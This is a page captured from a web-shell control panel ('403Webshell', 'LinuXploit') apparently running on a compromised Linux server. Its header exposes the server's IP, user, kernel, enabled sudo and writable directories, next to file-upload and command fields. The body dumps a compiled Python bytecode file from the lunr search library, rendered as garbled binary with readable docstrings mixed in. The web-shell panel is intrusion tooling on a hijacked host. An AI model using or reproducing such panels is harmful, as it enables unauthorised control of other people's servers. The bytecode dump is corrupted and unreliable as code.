403Webshell
Server IP : 54.37.205.81  /  Your IP : 216.73.216.76
Web Server : nginx/1.22.1
System : Linux vps-249481fa 6.1.0-50-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1 (2026-07-02) x86_64
User : debian ( 1000)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/lunr/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/lunr/__pycache__/builder.cpython-311.pyc
�

WIb�(���ddlmZddlmZddlmZddlmZddlm	Z	ddl
mZddlm
Z
ddlmZGd	�d
��ZGd�d��Zd
S)�)�defaultdict)�Pipeline)�	Tokenizer)�TokenSet)�FieldRef)�Index)�Vector)�idfc�&�eZdZdZdd�Zd�Zd�ZdS)�Fieldz6Represents a field with boost and extractor functions.�Nc�0�||_||_||_dS�N)�name�boost�	extractor��self�
field_namerrs    �./usr/lib/python3/dist-packages/lunr/builder.py�__init__zField.__init__s����	���
�"�����c�,�d�|��S)Nz$<Field "{0.name}" boost="{0.boost}">)�format�rs r�__repr__zField.__repr__s��5�<�<�T�B�B�Brc�*�t|j��Sr)�hashrrs r�__hash__zField.__hash__s���D�I���r�r
N)�__name__�
__module__�__qualname__�__doc__rrr�rrrr
sO������@�@�#�#�#�#�
C�C�C�����rrc�X�eZdZdZd�Zd�Zdd�Zd�Zd�Zdd	�Z	d
�Z
d�Zd�Zd
�Z
d�ZdS)�BuilderaCPerforms indexing on a set of documents and returns instances of
    lunr.Index ready for querying.

    All configuration of the index is done via the builder, the fields to
    index, the document reference, the text processing pipeline and document
    scoring parameters are all set on the builder before indexing.
    c���d|_i|_i|_i|_i|_t��|_t��|_i|_d|_	d|_
d|_d|_g|_
dS)N�idrg�?g333333�?)�_ref�_fields�inverted_index�field_term_frequencies�
field_lengthsr�pipeline�search_pipeline�
_documents�document_count�_b�_k1�
term_index�metadata_whitelistrs rrzBuilder.__init__%sq����	���� ���&(��#���� �
�
��
�'�z�z������������������"$����rc��||_dS)a�Sets the document field used as the document reference.

        Every document must have this field. The type of this field in the
        document should be a string, if it is not a string it will be coerced
        into a string by calling `str`.

        The default ref is 'id'. The ref should _not_ be changed during
        indexing, it should be set before any documents are added to the index.
        Changing it during indexing can lead to inconsistent results.

        N)r*)r�refs  rr8zBuilder.ref4s����	�	�	rr
Nc�^�d|vrtd���t|||��|j|<dS)aQAdds a field to the list of document fields that will be indexed.

        Every document being indexed should have this field. None values for
        this field in indexed documents will not cause errors but will limit
        the chance of that document being retrieved by searches.

        All fields should be added before adding documents to the index. Adding
        fields after a document has been indexed will have no effect on already
        indexed documents.

        Fields can be boosted at build time. This allows terms within that
        field to have more importance on search results. Use a field boost to
        specify that matches within one field are more important that other
        fields.

        Args:
            field_name (str): Name of the field to be added, must not include
                a forward slash '/'.
            boost (int): Optional boost factor to apply to field.
            extractor (callable): Optional function to extract a field from
                the document.

        Raises:
            ValueError: If the field name contains a `/`.
        �/z'Field {} contains illegal character `/`N)�
ValueErrorrr+rs    r�fieldz
Builder.fieldBs<��4�*����F�G�G�G�#(��U�I�#F�#F���Z� � � rc�P�|dkr	d|_dS|dkr	d|_dS||_dS)aJA parameter to tune the amount of field length normalisation that is
        applied when calculating relevance scores.

        A value of 0 will completely disable any normalisation and a value of 1
        will fully normalise field lengths. The default is 0.75. Values of b
        will be clamped to the range 0 - 1.
        rr
N)r3�r�numbers  r�bz	Builder.bas7���A�:�:��D�G�G�G�
�a�Z�Z��D�G�G�G��D�G�G�Grc��||_dS)a#A parameter that controls the speed at which a rise in term
        frequency results in term frequency saturation.

        The default value is 1.2. Setting this to a higher value will give
        slower saturation levels, a lower value will result in quicker
        saturation.
        N)r4r>s  r�k1z
Builder.k1ps������rc���t||j��}|pi|j|<|xjdz
c_|j���D�]�\}}|j}|�||n
||��}t|��}|j�	||��}	t||��}
tt��}||j
t|
��<t|	��|jt|
��<|	D]�}t|��}
||
xxdz
cc<|
|jvr5d�|jD��}|j|d<|xjdz
c_||j|
<||j|
|vr(tt$��|j|
||<|jD]A}|j|}|j|
|||�|���B����dS)a�Adds a document to the index.

        Before adding documents to the index it should have been fully
        setup, with the document ref and all fields to index already having
        been specified.

        The document must have a field name as specified by the ref (by default
        this is 'id') and it should have all fields defined for indexing,
        though None values will not cause errors.

        Args:
            - doc (dict): The document to be added to the index.
            - attributes (dict, optional): A set of attributes corresponding
            to the document, currently a single `boost` -> int will be
            taken into account.
        r
Nc��i|]}|i��Sr%r%)�.0�_field_names  r�
<dictcomp>zBuilder.add.<locals>.<dictcomp>�s��O�O�O�;�{�B�O�O�Or�_index)�strr*r1r2r+�itemsrrr/�runrr�intr-�lenr.r,r5�listr6�metadata�append)r�doc�
attributes�doc_refrr<r�field_value�tokens�terms�	field_ref�field_terms�term�term_key�posting�metadata_keyrOs                 r�addzBuilder.addzs��"�c�$�)�n�%�%��#-�#3����� ����q� ���!%��!3�!3�!5�!5�!	'�!	'��J����I�-6�->�#�j�/�/�I�I�c�N�N�K��{�+�+�F��M�%�%�f�j�9�9�E� ��*�5�5�I�%�c�*�*�K�;F�D�'��I���7�14�U���D��s�9�~�~�.��
'�
'���t�9�9���H�%�%�%��*�%�%�%��4�#6�6�6�O�O�$�,�O�O�O�G�(,��G�H�%��O�O�q�(�O�O�4;�D�'��1��$�"5�h�"?�
�"K�K�K�IT��J�J�D�'��1�*�=�g�F�%)�$;�'�'�L�#�}�\�:�H��'��1�*�=�g�F�$���f�X�&�&�&�&�	'�!
'�!	'�!	'rc	��|���|���|���t|j|j|jt|j�	����|j
���S)z�Builds the index, creating an instance of `lunr.Index`.

        This completes the indexing process and should only be called once all
        documents have been added to the index.
        )r,�
field_vectors�	token_set�fieldsr/)� _calculate_average_field_lengths�_create_field_vectors�_create_token_setrr,r_r`rNr+�keysr0rs r�buildz
Builder.build�s���	
�-�-�/�/�/��"�"�$�$�$���� � � ���.��,��n����)�)�+�+�,�,��)�
�
�
�	
rc��tjtt|j���������|_dS)zDCreates a token set of all tokens in the index using `lunr.TokenSet`N)r�	from_list�sortedrNr,rer`rs rrdzBuilder._create_token_set�s7��!�+�F�4��8K�8P�8P�8R�8R�3S�3S�,T�,T�U�U����rc�X�tt��}tt��}|j���D]@\}}t	j|��}|j}||xxdz
cc<||xx|z
cc<�A|jD]}||xx||zcc<�||_dS)z5Calculates the average document length for this indexr
N)	rrLr.rJr�from_stringrr+�average_field_length)r�accumulator�documents_with_fieldrW�length�
_field_refr<rs        rrbz(Builder._calculate_average_field_lengths�s���!�#�&�&��*�3�/�/��!%�!3�!9�!9�!;�!;�	)�	)��I�v�!�-�i�8�8�J��)�E� ��'�'�'�1�,�'�'�'������&�(������,�	H�	H�J��
�#�#�#�';�J�'G�G�#�#�#�#�$/��!�!�!rc	���i}i}|j���D�]G\}}tj|��}|j}|j|}t
��}|j|j}	|j	|j
�dd��}
|���D]�\}}|j|d}
||vr&t|j||j��}|||<n||}||jdz|zz|jd|jz
|j||j|zzzz|zz}||	z}||
z}t%|d��}|�|
|����|||<��I||_dS)z@Builds a vector space model of every document using lunr.Vector.rr
rH�N)r-rJrrkrr.r	r+rr1rS�getr,�Idfr2r4r3rl�round�insertr_)rr_�term_idf_cacherW�term_frequenciesrpr�field_length�field_vector�field_boost�	doc_boostrY�tfr5r
�score�score_with_precisions                 rrczBuilder._create_field_vectors�s����
���+/�+F�+L�+L�+N�+N�%	4�%	4�'�I�'�!�-�i�8�8�J�#�.�J��-�i�8�L�!�8�8�L��,�z�2�8�K���
�(:�;�?�?���K�K�I�,�2�2�4�4�
F�
F���b�!�0��6�x�@�
��~�-�-��d�1�$�7��9L�M�M�C�+.�N�4�(�(�(��.�C����1���*�,����"�g�&�"�g�+�d�.G�
�.S�S�U�U��������$����"��',�U�A���$��#�#�J�0D�E�E�E�E�'3�M�)�$�$�*����rc��||g|�Ri|��dS)aApplies a plugin to the index builder.

        A plugin is a function that is called with the index builder as its
        context. Plugins can be used to customise or extend the behaviour of
        the index in some way.

        A plugin is just a function, that encapsulated the custom behaviour
        that should be applied when building the index. The plugin function
        will be called with the index builder as its argument, additional
        arguments can also be passed when calling use.
        Nr%)r�fn�args�kwargss    r�usezBuilder.uses*��	��4�!�$�!�!�!�&�!�!�!�!�!rr r)r!r"r#r$rr8r<r@rBr]rfrdrbrcr�r%rrr'r's���������
%�
%�
%����G�G�G�G�>
�
�
����6'�6'�6'�6'�p
�
�
�$V�V�V�0�0�0�",+�,+�,+�\"�"�"�"�"rr'N)�collectionsr�
lunr.pipeliner�lunr.tokenizerr�lunr.token_setr�lunr.field_refr�
lunr.indexr�lunr.vectorr	�lunr.idfr
rtrr'r%rr�<module>r�s���#�#�#�#�#�#�#�"�"�"�"�"�$�$�$�$�$�$�#�#�#�#�#�#�#�#�#�#�#�#���������������������������w"�w"�w"�w"�w"�w"�w"�w"�w"�w"r

Youez - 2016 - github.com/yon3zu
LinuXploit